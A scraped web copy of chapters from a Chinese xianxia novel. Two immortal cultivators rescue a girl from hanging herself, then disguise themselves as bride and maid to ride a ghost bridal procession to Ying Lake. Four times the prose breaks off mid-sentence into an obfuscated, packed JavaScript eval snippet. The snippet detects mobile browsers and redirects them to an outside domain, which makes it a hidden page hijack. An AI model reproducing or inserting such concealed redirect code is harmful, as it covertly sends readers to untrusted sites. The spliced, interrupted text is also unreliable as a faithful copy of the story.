齐元白一怔,随即屏息凝神,也侧耳细细去听。 这一听不得了,恰好那女声发出一声凄厉大叫,刺得齐元白耳膜一阵疼痛,连忙掩了耳朵,匆匆对公仪岭说了一句:“走!” 公仪岭点了点头,紧随齐元白身后,七拐八拐地绕了九曲十八弯,这才闯入了这姚家庄的后院之中。 公仪岭这一去,才见后院竟是人丁齐聚、热闹非凡,这样大的声音,竟硬生生没传到前庭,足以见姚家庄有多么大了。 不过,这样的热闹,也仅仅只是浮于表面的热闹。除了满院的大红缎带和囍字灯笼以外,光看院中之人一个个涕泪横流的样子,可一点都没看出“热闹”来。 后院厢房外齐唰唰跪了一地丫鬟小厮,瓷器碎片也飞了满地,而厢房的两扇门虚掩着,隐隐能听到里面一老妇的哀恸之声。 “我的女儿……我的女儿啊!你做什么想不开——要么、要么你先从凳上下来……为娘先前已经去了太微山请愿,你再等等……那仙师、那仙师一定会下山来救我们的!” 随后,房中传来一名年轻女子带着哭腔的声音:“娘!这话你都说了不止一次了!还有几个时辰就要到子时了,仙师哪里会来?要是真的能来,怎么还能让前十七位姐妹们全都失踪了……我情愿自缢在房中,这样至少还能在旁人口中留一个清誉!” 屋内母亲哭着劝说,屋外父亲也是唉声叹气,在门口焦躁不安地来回踱步。公仪岭见他这一身打扮,就知这位定然是姚家庄的姚老爷了。 姚夫人上了年纪,力气自是不如女儿,好说歹说费尽了口舌,也没能让她回心转意,几下来回推搡之间,竟然还叫女儿给推出了屋门外。 “砰”地一声,那屋门直接给关上了,震得窗上贴的红纸都颤了颤。 姚夫人见状,立刻知道坏了,几乎是扑到女儿房门前,胡乱拍打着大门,口中叫得愈发凄厉:“兰儿!兰儿!你开开门呐!” 一旁姚老爷也终于沉不住气了,对着身后的小厮们怒道:“一个个还等着干什么?眼睁睁看着兰儿寻短见吗?!快撞门!!!” 小厮听了,手忙脚乱地从地上爬起来,连滚带爬冲到门口,用身子前仆后继地去撞门。可不知那位姚小姐用什么东西把门给闩住了,小厮们大力撞了几下,门竟是纹丝不动,顿时也慌了神:“老爷夫人,这门被闩住了,撞不开啊!” 不能再等了,再等下去就得出人命了! 公仪岭当即拔剑出鞘,从掩护两人的假山怪石后飞身出来,一瞬间便落在那些小厮身后,大喊道:“全都闪开!” 在其他人眼中,公仪岭简直是凭空出现在他们面前的。姚夫人本就气血攻心、体力不支,被这样吓了一下,几乎晕死过去,哪还能先问问这是哪位?至于那些小厮,猛然听到身后这一声中气十足的大喊,下意识回头,就见此人气势汹汹提着一把剑,看起来下一秒就要杀进去了,当即也是吓得腿软,僵在原地动不了了。 好在,齐元白一直注意着所有人的一举一动,在公仪岭拔剑的时候,就知道他打算做什么,紧随其后来到门前,直接一手抄起两位小厮,硬生生给人拖到了一旁。 两道炫目的剑光劈过,那门顿时砍成两半,轰然倒地,露出里面那挂在房梁上的红绫、以及已经脚踢了凳子,悬在半空中的姚兰姑娘。 “兰儿——!” 姚夫人受不了这样的刺激,尖声大叫后,立刻昏倒在地。 彻云剑如离弦之箭飞出,一剑钉在红绫后面的墙壁上,连带着把那红绫也削成了两段。挂在上面的姑娘没了支撑,从半空坠下,稳稳落入齐元白的怀中。 齐元白按住她的脉,片刻后松了口气:“还有救!”说罢,匆匆取出一颗丹药让她服下。 得亏他们两个人这次行动迅速,配合地极好。这姑娘刚上去没两秒,就被他们给救了下去,现在只是暂时昏迷了过去,死不了。 “吃下丹药后一个时辰内,她就能醒来。” 公仪岭一听也放心了,抬手召回彻云剑,对身后一干人道:“你们几个,还不快把你们家小姐带回房中,好生休养?” 那几个丫鬟原本都看傻了,听到公仪岭这话方才如梦初醒,依样照办,七手八脚地把人扶回了床榻。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14475077|141419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>齐元白也没闲着,检查完这个,又去检查姚夫人的情况,确定她只是受惊过度,没有大碍后,才彻底安心。 这样一来,公仪岭和齐元白的身份自是明了,也没人对他们说的话有任何异议,那边姚老爷原本还面露悲戚、愁眉不展,这会儿却是能用欣喜若狂来形容,连声问道:“两位可是太微山的仙师?是听到了我在山下的请愿,这才特此前来?” 齐元白道:“正是。我们此次前来,便是为了平息尧都城的水鬼祸乱。” 姚老爷眼前一亮:“实不相瞒,我家小女今夜子时就要上那水神花轿,不知仙师有何办法,能让她避过此次灾祸?” 公仪岭点头:“办法是有,不过,还是先等你们家夫人小姐醒过来后,再说不迟。” 齐元白听他说得真切,不似为了安抚人心编造出来的谎话,也是诧异。 不过,齐元白也没有追问,毕竟那小姐都还没完全恢复,现在就问,多有不妥。 如此艰难地挨过了一个时辰,床榻上的姚家小姐终于悠悠醒来。 床榻旁围了一群丫鬟,而老爷夫人和公仪岭齐元白则是坐在稍远些的地方,凝眉不语。那些丫鬟一见小姐醒了,赶忙回头与座位上的人回禀道:“老爷夫人,小姐醒了!” 闻言,座上四人齐齐起身。 若是换了旁人,经过这劫后余生的事情,定然是该庆幸一番,可偏偏这是个一心求死的人。 姚兰姑娘睁眼的一瞬间,迟钝了足有一分钟,才沙哑问道:“……我……没死吗?” 丫鬟不明就里,只当她是高兴,就道:“小姐吉人自有天相,自然性命无虞。” 谁知,这“性命无虞”四个字竟是刺激到了姚兰姑娘。 她睁着一双眼,又缓缓合上,嘴唇颤动了许久,这才滚下了两行泪:“……求生不得,竟然求死也不能……” 丫鬟意识到不对,回头看了一眼过来的两位仙师,勉强笑道:“小姐,您说什么傻话呢……现在有这两位仙师在,您一定会平安无事的!” 姚兰刚醒,脑子还懵懵的,反应了许久,才意识到丫鬟说的是什么,猝然睁开眼,强撑着身子就要起身,哑着嗓音道:“仙师……你说仙师来了?真的来了?” 那丫鬟双眼含泪,拼命点头。齐元白十分适时地走到床榻旁边,轻声道:“姚小姐,你现在刚醒,身子还没完全康复,让我再给你把一下脉吧。” 隔着床幔,姚兰也看清楚了他的模样,见齐元白虽然衣着朴素,却是仙风道骨、眉目如画,立即信了,眼中顿时重新燃起了几分希望。 齐元白再次替她把了脉,确定她身子只是虚弱了些,没有其他事情后才收回手,对着公仪岭、姚老爷和夫人道:“她已经无事了。” 176.瀛湖神娶亲 代卿上花轿(三) 得知女儿没事,那姚老爷和夫人悬着的心终于放下了。 姚夫人更是抹着眼泪,快步到姚兰的床榻旁边,“兰儿兰儿”地唤了起来。 可姚兰却无心回应母亲的话,不顾丫鬟们的劝阻,强撑着虚弱的身子,在床上起了半身,对齐元白和公仪岭轻声道:“……两位仙师,不知,可否救我一救……” 说完,又似乎是觉得自己的诚意不够,还是想正式地起身拜会。公仪岭连忙将人拦了下来,对她郑重其事道:“姚小姐放心,这桩事情,我们不会坐视不理。” 姚兰得此重诺,憋了好几日的情绪爆发,一下子红了眼圈,眼泪簌簌地落下,声音也染上了哭腔。 “仙师……若是有路可走,我也不愿撇下父亲母亲自寻短见。奈何那水神厉害,我爹娘寻遍城中道士也拿它没有办法,眼看着就该轮到我换上喜服,由花轿接到瀛湖中,我实在是……实在是走投无路,才会选择自缢的……” 这姑娘哭得厉害,说的内容也是断断续续,公仪岭无奈,只好一边给她递帕子擦眼泪,一边听她哭诉,至于哭诉的大概内容,也都和两个人之前了解的大差不差,无非是说前十七位女子上了花轿以后便有去无回,诸如此类云云。 公仪岭和齐元白只能先将人给安抚下来,等她情绪平复后,姚老爷忍不住问道:“仙师,这眼看着就要到亥时了,你们看,现在该如何是好啊?” 公仪岭沉着道:“好办。既然总得有人上那鬼花轿,便让我们两个人前去就是。” 齐元白没想到他所说的“有办法了”,竟然就是这样简单直接的法子,说白了,这跟混入那瀛湖水神的老巢也没什么区别。 不过,要说这办法的优点,那也有。如此一来,他们想暗中行事的目的,倒也算达成了。 毕竟谁也不会想到,太微山和云灵山的这两位宗主,此时此刻会在这样一顶小小花轿之中。 齐元白很快接受了这个法子,把最后一个问题问了出来:“那好,我们谁上轿子?” 姚兰姑娘个子不矮,但与他们两个人相比起来,却还是矮了大半个头,更不用说体型差距这些东西了。 要说民间嫁娶,那花轿旁带上一两个陪嫁丫鬟也是极为合理的一件事情。公仪岭打的也就是这样的算盘。 他们两个人要想一同前去的话,一个当新娘,一个当丫鬟便是了。公仪岭本想让齐元白进鬼花轿,毕竟齐元白长相阴柔,要是施上点胭脂水粉,没准还真像极了姑娘家,能蒙混过去。 谁料,他这话刚说完,齐元白就立刻否决了。 倒不是他不愿意男扮女装,而是齐元白觉得,新娘盖上红盖头后,谁还能分得出是男是女?但当丫鬟可是得在旁边露面的,没准迎亲队伍一来,这水鬼就见轿子旁边好大一个男丫鬟,两个人不得直接露馅? 公仪岭一听,还真是颇有道理,于是在稍稍犹豫了一番后,公仪岭还是接受了齐元白的安排,听完姚家几人的千恩万谢后,由姚兰的那几个丫鬟带着,跟齐元白一起进了隔壁房内梳妆打扮。 前脚公仪岭刚在梳妆台前坐下,后脚丫鬟们就急急捧着大红喜服进来了。 换了喜服、梳了发髻后,丫鬟们才开始慢慢为他上妆。公仪岭脸上的半张银箔面具被取下,随之而来的好几层厚厚的粉,等他回过神来再去看铜镜里的自己,已经是完全变了一副模样,凤眸朱唇,杏面桃腮,只能依稀辨认出原本的样子,也看不出到底是像公仪岚还是像公仪岭自己,看得久了,竟然眉眼之处还能辨出公仪岭母亲的模样。 额发间插好成对的珠钗,一颗脑袋顿时犹如顶了千斤重。足足折腾了大半个时辰,丫鬟这才把东西放回妆匣,强忍着笑意道:“仙师,已经好了。” 这也不能怪丫鬟们憋不住笑。公仪岭和齐元白模样都生得周正,光样貌这一项,从前在仙门各家人气也是居高不下的,按理来说,即便女装也不会太过突兀。但丫鬟们从小在内院服侍小姐,又在刚才看过了两位仙师一本正经、仙气飘飘的模样,眼下忽然变成了两个如花似玉的美人儿,实在是一时没忍住,笑出了声。 看着面前这一张张想笑不敢笑的脸,公仪岭无奈至极。 罢了,罢了,想笑就笑吧,幸亏现在从名头上来说,她们笑得也不是他公仪岭了…… 喜服繁冗沉重,公仪岭折腾了许久,才略显生疏地拽着裙摆起了身,中途还踩上了那衣裙好几脚,尝试着走了几步,才勉强保持住平衡。 想不到,这竟是比御剑飞行还难以维持重心。 公仪岭不免想起自家宗门那些师妹们,人人都是穿着衣裙修习练剑,开始默默自我反思:看样子,等回去以后,女修们的衣服也都该换成简洁干练的款式才行啊! 思忖完后起身,公仪岭第一个望向的就是齐元白的方向。 齐元白也不避讳,左右转了转,抬头问他:“如何?像吗?” 相比起他,齐元白对这衣裙的适应程度可就比公仪岭强多了,那妆面也更合适他的面容,一眼望去,肤白胜雪、顾盼生姿,哪里能辨出雌雄?光看这衣服发饰,不论是谁,大概都会觉得,这是个绝世美人。 公仪岭双手抱臂,对他点了点头:“看不出来。” 齐元白又是照了照镜子:“那就行了,反正这水鬼也没见过姚兰姑娘,再厉害也不过是妖身制成的傀儡,咱们这装扮,它指定看不出来。” 公仪岭刚想说什么,就敏锐地听到姚家庄外隐隐传来了阵阵唢呐声,乐曲空白之处,时不时还会伴上几声震天的锣鼓作为间奏。 唢呐之声何其响亮,这一回,连齐元白都听了个清楚。 公仪岭不再耽误,拽起齐元白离开这间侧屋。回到姚兰姑娘的房内时,正看见他们一家三口抱成一团,面色煞白,正惊恐不已地望着房门外。 “来了……他们来了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14482559|141419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !是他们,他们来迎亲了!” 姚兰死死地捂着自己的耳朵,逼迫自己不去听屋外那尖利的唢呐声。 公仪岭二话不说将这三人推出屋内,对跟在自己身后慌慌张张的那几个丫鬟喝道:“快!把你们家主子都给带到其他院子里,听到任何动静都不能出来,也不要发出任何声音!” 正是保命的时候,对于公仪岭的任何指示,这三人都唯命是从,根本没一句多余的废话,踉踉跄跄朝着隔壁院内狂奔。 现在,他们两个人都没办法在这隔壁的院子里设下结界,唯一不会被察觉的办法,也就只有倚靠齐元白手中的符纸了。 齐元白一直紧随左右,直到那三人和丫鬟们都进了内屋,见公仪岭锁上了屋门,这才从袖中摸出一张空白符纸。 他现在使用不了灵力,不过,仅仅需要封禁这扇门的话,随便用笔墨画一道符就行了。 公仪岭也正是这般打算的,却没想到,齐元白手执符纸,下一秒竟然选择咬破了自己的手指,飞快地用指尖血作了一道符箓。 “元白……你,你这是做什么?”公仪岭惊声道。 虽说,他们符修的所有画符办法里面,还得是用血画的符效果最佳。但符修修士们,也不可能动不动就用自己的血来画,要知道,对他们自身来说,这还是颇为费血的一件事情。 公仪岭不解齐元白此举,在他看来,这水鬼即使是凭借御魔幡死而复生的妖物,也不至于用齐元白的血来画符拦住。 齐元白画符的指尖微顿,继而轻声道:“这一趟过来,我不想再有任何意外发生了。你放心,不过血符而已,只要能抓住这人,用什么符都不为过。” 公仪岭叹了口气,没再多说什么,默默看着齐元白画完封在门上,挥手将那道血符从门上隐去了。 全部做完后,姚家庄外那震天响的锣鼓也由远及近,没过两分钟,声音便停在了一处不动了,想必是迎亲的队伍已经到了大门口。 “走!” 他们不能在偏院耽误时间了,要是等外面的妖物进来,发觉出不对劲,那他们做的一切就白费了。齐元白难得显出几分躁意,匆匆低喊一句,步履如飞赶回姚兰姑娘的闺房。 门口守着的小厮也早就散得没影,整座院子只剩下他们两个人。公仪岭跑得狼狈,脚下裙摆也乱了,进了房间后,又是左右打理一番,由齐元白给他盖上红盖头,这才端端正正在堂前坐下,倒是颇有几分大家闺秀的范。 对于水神娶亲这件事情,家家户户口风都紧,他们并不清楚这鬼娶亲究竟是什么个流程。不过想来,那些姑娘们定然不会自己心甘情愿就上了花轿,公仪岭还不如直接在房中等着,等到这些迎亲的小鬼不耐烦了,再顺势出去,显得正常。 公仪岭视线被盖头遮住,看不见堂前是什么景象。而闺房的门也早就被齐元白合上,现在只能靠两只耳朵去听姚家庄外的响动。 177.瀛湖神娶亲 代卿上花轿(四) 外面的唢呐又吹了两个长音,停了。 就听门口不知是什么非人之物,扯着两个门环叮铃哐啷敲了半天。这种时候门口哪还有人,自是无人应答。 敲门没反应,那东西便只好扯着嗓子问道:“此处可是城西的姚家庄?我家主人让我们来接姚兰姑娘——” 它声音极大,公仪岭和齐元白听得清清楚楚。 两人除过的妖邪数不胜数,光是听这声音,也听出这多半是水鬼会发出来的声音,心中了然。 “姚家庄大门处没有设禁,等会儿没人应声的话,它们肯定自己进来了,我们两个按兵不动就行。”齐元白垂首站在一旁,与他传音说道。 也不知是不是第一次遇到这样的情形,公仪岭的双手在身前紧紧绞着,没来由地感到一阵紧张。 大门口的叩门声没两下就停了。阴寒的穿堂风扫过院中,带起树叶沙沙作响。 屋内纱窗映出交错摇曳的竹影,寂静的房中忽然响起水声滴答。 公仪岭一抹脸前的红布,便摸到了一手黑水,透着一阵极为腥臭的湖水味道。那令人作呕的气味冲入鼻腔,刺激地公仪岭胃部翻江倒海,喉咙发紧。 穿堂阴风说大不大,说小也不小,正好顺势掀起他面前的盖头。 虽然盖头掀开只有一瞬间的时间,公仪岭却也看见自己面前,渗出了一大滩的黑色水渍,顺着地板上的纹路汇聚成了一个“囍”字。 锣鼓又起,唢呐又响,这一次,声音直直朝着姚玉的闺房而来。 旁边齐元白已是状似惊慌失措地入戏了:“小姐,屋内渗水了!是他们过来了!” 公仪岭从进门开始便焦躁难安,忍了许久才把自己强行压在椅子上不动,这会儿听到齐元白说的,实在按捺不住,问道:“怎么样,到门口了吗?” 齐元白轻手轻脚地绕过地板上的黑水,趴到了门框旁边,朝着门缝看去。 透过门缝左右看看,就见院门口极为缓慢地拐进来长列仪仗队,里面个个都是满身拖泥带水、身穿红衣的水鬼,苍白的手死死握着方圆扇子,后面还跟了成双成对的提灯仆从。 齐元白回头道:“迎亲队伍都在院子里了。” 话音刚落,一只湿漉漉的手猝不及防搭上了他的肩头。 齐元白身子一僵,梗着脖子朝左肩瞥去,只看了一眼,感觉登时头皮都炸开。 这手仿若是在水中泡了三天三夜以后才打捞上来的一样苍白肿胀,鲜血混合着黑水顺着指缝淌下,一滴一滴落在齐元白的衣服上。 从前他们仙气护体,寻常小妖自是畏惧,根本不敢就这样贴上来,今日他们收了护体仙气犹如凡人,这些小鬼根本不怕他们。 齐元白强忍着想呕吐的感觉,硬生生没有反击回去,而是像寻常人家的丫鬟那样,尖叫着朝后狂退数丈:“啊啊啊啊——” 这一退,齐元白完全看清楚了这水鬼的样子。 也不知大门是何时打开的,它眼眶空洞,佝偻着半个身子站在门槛上,姿势极为怪异,乍一看就好像被无形的绳子吊在半空中似的。与其他迎亲队伍里的鬼怪穿的不同,这水鬼湿发贴面,头戴金钗,衣着华贵,手腕上还系了一根细细的红绳,看着倒像是迎亲队伍中领头的水鬼。 领头的女水鬼盯着正座上坐着的公仪岭,忽然咯咯笑了起来,幽幽道:“想必,这位便是姚兰小姐了吧?” 齐元白惊魂未定,也不知该说“是”还是“不是”。 公仪岭也没开口,倒不是因为不敢承认,而是担心自己说话声音太沙哑,被它们意识到不对劲。 但是,他要是一直不发出声音的话,也难免惹鬼生疑。 正是举棋不定的时候,旁边的齐元白却忽然一抽一抽抹起眼泪来,没等公仪岭反应过来,他就夹起嗓子,悲痛欲绝地握住了公仪岭的手,那声音、那模样,活像是送人出殡一般,演得真真的。 “……小姐啊,小姐!不能去啊!这一去……只怕是……” 说着说着,齐元白竟然还掩面哭泣起来。 公仪岭眉尖一抽,立刻明白齐元白是在给他台阶下,虽然公仪岭现在不能开口讲话,但稍微变个嗓子恸哭两声,也不太能听出来嗓音的问题,这样一来,哭得太厉害导致说不出话来这个理由,也是完全成立的。 他不动声色地垂眸,望着齐元白悄悄掐着自己的手,深吸一口气,一只手捂着嘴,调整了下声音,一秒钟就带了哭腔,也开始呜咽起来。 等了片刻,那鬼也没得人回应它一声,只当是这小姐不愿上花轿。眼前盖着盖头、穿着喜服的只此一位,还能有哪个姚兰小姐?领头女鬼不再废话,直接退至一旁,阴恻恻道:“姚兰小姐,请吧——” 听到领头女鬼这话,公仪岭就知自己和齐元白这身打扮,算是混过去了。 又是一唱一和地演上了两句,公仪岭自觉效果不错,再多呆一会儿难保它们不会察觉到隔壁院子里的人气,终于慢吞吞地从正座上起身,由齐元白扶着走过了正堂。 他们拖延的这一会儿工夫,正堂内的积水也越漫越多,汇成了一汪黑水滩。公仪岭脚上绣花鞋踩过,如同淌了一次尸水一般,鞋子和喜服裙摆上顿时黑了一片,也沾染上了腥臭的气味。 强忍着心头的不适之感,公仪岭跨过了闺房门槛。 齐元白看似专心致志地扶着公仪岭,出了房门后,眼睛却没少四下打量,恨不能将它们都给摸底摸得清清楚楚才好。 就见这一条长队从堂外绵延而出,整个迎亲队伍足有三四十只高矮各异、奇形怪状的水鬼,每个水鬼都井然有序、分工明确。要是从前下山遇到这种新鲜的事情,齐元白肯定得好好欣赏一下,只不过这一次,打量了这支队伍几眼后,齐元白便意识到了不太对劲的地方。 毫无疑问,这样的迎亲队伍,要是换成活人,派头也是风光无两的,齐元白混迹市井这么久,民间嫁娶看过不少,阵仗能够与之相比的,也只见过两次,可见,这瀛湖水鬼,倒是极为看重娶亲这件事情。 只是,若是看重的话,再怎么说也该亲自过来迎接才是。而这完整的队伍里,恰恰就少了这过来迎娶佳人的新郎官。 齐元白立即传音 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14491557|141419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给他:“公仪兄,这迎亲队伍里,没有瀛湖水鬼。” 公仪岭一愣,随即决断道:“它既然不敢来,那我们便过去,到瀛湖亲自除去它!” 齐元白想了想,也是,现在见到和等会儿去瀛湖以后见到都是一样的,前后也不会超过半个时辰,他们在瀛湖打起来的话,总比在姚家庄打起来强,至少不会毁了人家的宅子。 两人一路缓步走到那顶鬼花轿面前,两边的迎亲水鬼顺势让开一条路,站在花轿旁边的两个水鬼则是十分适时地为他掀开帘子。 齐元白给他扶上轿子后,便自觉站在花轿旁守着,目光紧随这一长条的队伍,袖中暗暗捏紧了自己的符箓,打算到瀛湖以后,再随机应变了。 至于这些水鬼,他则毫不担心,若是他们两个人联手的话,想要将所有小鬼清理干净,只不过是时间问题。 说到底,齐元白最担心的还是那真正的“瀛湖水鬼”,如果这一切他没有料想错的话,那这幕后之人,只怕当真不好对付。 胡思乱想中,为首的女水鬼声音凄厉地高喊了一声:“起轿——”,这花轿便被一干水鬼轻飘飘地抬了起来,拖着不快不慢的步子朝姚家庄大门原路返回。 事实上,从公仪岭坐入花轿、拢上帘子后,就直接一把取下了头顶的红盖头,悄无声息地观望着眼前的一切了。 方才他没机会看,现在身处这血红的轿内,公仪岭终于能完整看见所有事物了。 鬼花轿宽窄适中,只能容纳一人,若是姑娘们坐这轿子,应当刚好合适,无奈公仪岭身形修长,现在坐在轿子里就显得有些狭窄了。 花轿中央还设了红锦缎制成的软座,绸缎光滑细腻,一摸便知这料子恐怕价值不菲。公仪岭覆手上面揉搓了一下料子,隐隐觉得这绸缎自己仿佛在哪见过,却又一时拿不准,犹豫了一会儿,还是没有轻易下结论。 而这些抬花轿的水鬼们,看似一步一摇晃,慢慢悠悠地往前进,实则却行得极快,抬着一顶花轿走路根本不足以给他们造成多少疲累,又轻便又稳健地抬着公仪岭一路狂奔,宛若着急忙慌地去赶上最后一场盛大的宴席。 夜半三更的主街,一片寂静,公仪岭只能听到自己和齐元白交错杂乱的呼吸声,以此来时不时安慰自己:“有齐元白在旁边,两个人的胜算也大些。” 为了不引人注意,公仪岭没有轻易掀开轿帘看看外面的场景,默默凝视着被风吹得时不时撩起一角的轿帘,通过地上的路况来勉强推测自己走到哪里了。 不过,尧都城他也没来几次,对城中的主路印象不深,再加上这些水鬼淌过的地方无一不留下一大滩水泽,难以辨认。最后公仪岭还是选择传音去问齐元白:“我们到哪里了?还有多久?” 齐元白回答他的声音听起来却有些沉重:“就快到了。” 与此同时,翻涌的湖水声隔了老远传入公仪岭的耳中,没过一会儿,迎亲队伍中又锣鼓喧天,唢呐高歌起来,像是在提醒着湖中水神他们行至何处一般。 公仪岭静静地听这这纷杂的乐声,心脏也开始不受控制的狂跳起来。 178.瀛湖神娶亲 代卿上花轿(五) 也不知行了多久,鬼花轿才缓缓停下。 公仪岭定了定神,抓起软榻上放着的红盖头重新覆面,长长出了一口气。 终于到了。 花轿轻轻落下,领头女鬼咕哝了一句后,花轿旁边的小鬼应了声,替他揭起花轿的帘子。 齐元白无比上道地把手递了过去,将人稳稳当当地扶了下来。 风声呜咽,公仪岭垂眸瞥向脚下松软的土地,认出这是瀛湖岸边,心中意外。 每个有点修为的老妖怪,基本上都有自己的地盘,而这瀛湖里的这只水鬼,地盘也就是这片区域了,既是娶亲,怎么会有把新娘送到岸边就停下的道理? 公仪岭暗暗跟他道:“难道这东西发觉不对,这才没带我们进他的老窝?” 齐元白立即道:“不会。他娶的都是凡人女子,要是把人带进水中,肯定活不下来,把我们先安置到这里,一定有其中的道理。” 公仪岭有些不解。那些女子既然没一个能活着回来的,进不进水中,又有什么区别?难不成这水鬼也是靠吸活人精气修炼,这才必须得生人活祭吗? 但是,看齐元白的神色,公仪岭却又觉得事实不是如此,便没有追问,屏息凝神等后续发展。 谁知,正在此时,整个瀛湖周边竟然缓缓凝起一道无形结界,如泡沫般笼罩了整个湖水。 齐元白悄然伸出一只手,指尖触碰到那结界的一瞬间,便被巨大的法力给弹开,即使齐元白现在收敛了周身仙气,也能察觉出来,布下这结界的人是何等修为。 “……看样子,整个瀛湖都被这结界围起来了,他是怕我们跑了。”齐元白对公仪岭说道。 公仪岭捏了捏拳头,拖着带哭腔的嗓音,对那些水鬼道:“既是你家主子娶亲,为何到现在也不见他的人影?” 领头女鬼闻言,又咯咯笑了起来:“姚兰姑娘,可是见不到我们主子着急了?你莫要着急,我们家主子这会儿正忙着,等会儿接亲的喜船过来后,自会带你去见他。” 听到此言,公仪岭猛然想起,他在查阅尧都城文书的时候,的确有看到过乌篷船接人的这个说法。 而每一位被瀛湖乌篷船接走的姑娘们,一路顺着湖水飘到瀛湖中央后,就缓缓沉了下去,从此再没出现在世人面前。 只听迎亲队伍中,众鬼忽然一阵此起彼伏的怪叫,漆黑的瀛湖深处,竟然真的亮起了一点小小灯光,朝着岸边悠悠行进。 齐元白穷尽目力,等那灯光过来一些后,再细细去看,果然是一艘乌篷船的模样,这船身通体漆黑,唯有船头一盏提灯,以及船身处系着的几条随风飘逸的红绸缎带。 见那喜船快到岸边,迎亲队伍里的其他水鬼对两人幽幽道:“姚兰姑娘,喜船来了,跟我们走吧,可不要耽误吉时了——” 齐元白紧绷着唇没有说话,脸色青白交织,眼神不住地往结界外搜寻,脚像是在地上生了根一样,一动也不动。 公仪岭不知他为何不动,但想着齐元白自有他的道理,于是也跟着不动。在一众水鬼的催促下,两个人却是死活没往前走上一步。 “走呀……走呀。” 催了半晌,领头女鬼终于不耐烦了,想要过去拽走两人。 那惨白的爪子刚抓上公仪岭的手腕,齐元白脸色就是一变,稍稍用了些力气把那只爪子打落,怒道:“别碰他,新娘子也是你们能碰的?磕了碰了可怎么好?都退下!我家小姐自己会走!” 经他这样一呵斥,领头女鬼的手凝滞片刻。 她似是想起了什么可怕的警告一般,立刻缩了回去,脸上扭曲了一阵,才道:“姚兰姑娘,请随我来。” 公仪岭心道齐元白演起来还挺敬业,到现在也不忘自己的角色,想着效果应该也达到了,便对齐元白悄然道:“我看它们都是些低阶水鬼,是认不出我们的,还是不要继续在此地逗留,先去湖里找到水鬼后,速战速决吧。” 齐元白再度抬眼望了望结界外,沉吟片刻后,终于扶着公仪岭朝乌篷船方向走去。 那乌篷船很快靠了岸。 令人意外的是,船头那位撑船掌灯的女鬼看着颇为年轻,一双眼珠子极黑,唇上一抹艳红,脸上也画着浓浓的妆容,腰细如柳、身段窈窕,想必生前,定然是一位不可多得的美人。 她收起兰桨,对岸边领头女鬼粲然一笑。 如此样貌的女鬼,却发出了像打开潮湿腐烂的木柜子吱呀打开的声音,尖利中还带着极重的霉味,熏得人眼前阵阵发晕:“可算是来了,让姑娘里边请吧~” 公仪岭跨上乌篷船,这船很小,只能容纳两三人。公仪岭和齐元白一上船便占满了所有空位,两个人只能缩在里面勉强找了个合适的位置坐下,等那掌灯女鬼重新拿起船桨后,这艘小船才晃晃悠悠地漂向湖中心。 刚开船没多久,齐元白便状似责怪地开始套话了:“依照礼节,你家主人既然娶了我家小姐,自是应该亲自过来迎亲才对,怎么这走了一路,都不见你家主人出面?” 掌灯女鬼掩唇笑道:“姑娘有所不知,从前迎亲,我家主人也并未出面,等到船入水神府中,姑娘们自然能与我家主人相见。不过……” “不过什么?” 掌灯女鬼继续道:“不过,今日姑娘恐怕没那么快见到了,这会儿,我家主人怕是正忙着呢。” 齐元白侧头望了望旁边头顶红盖头一言不发的人,无声无息地勾起唇角,口中平静道:“那倒正好,我家小姐大概也不愿见这强人所难的瀛湖‘水神’。” 掌灯女鬼划桨的手一停,继而恢复正常,面带森冷的笑意:“是吗?早一点见到还是晚一点见到,结局似乎也没什么不同。” 或许是齐元白的话令这掌灯女鬼不悦,她划桨的速度越来越快,不过一刻钟的时间,齐元白便发现已经抵达了瀛湖中心。 公仪岭察觉到有异,忽然与他传话道:“齐兄,这船吃水不对,已经开始往下沉了,难道是已经抵达了湖心?” 齐元白深吸一口气道:“正是,你准备好,不要呛水了。” 闻言,公仪岭立马猛吸一口气,几乎同一时刻,他便感觉绣花鞋一阵濡湿,匆忙抬起裙摆和脚,才意识到不知不觉中,这乌篷船的船底已经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14496671|141419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开始源源不断地渗水进来,转瞬间已经水淹大半。 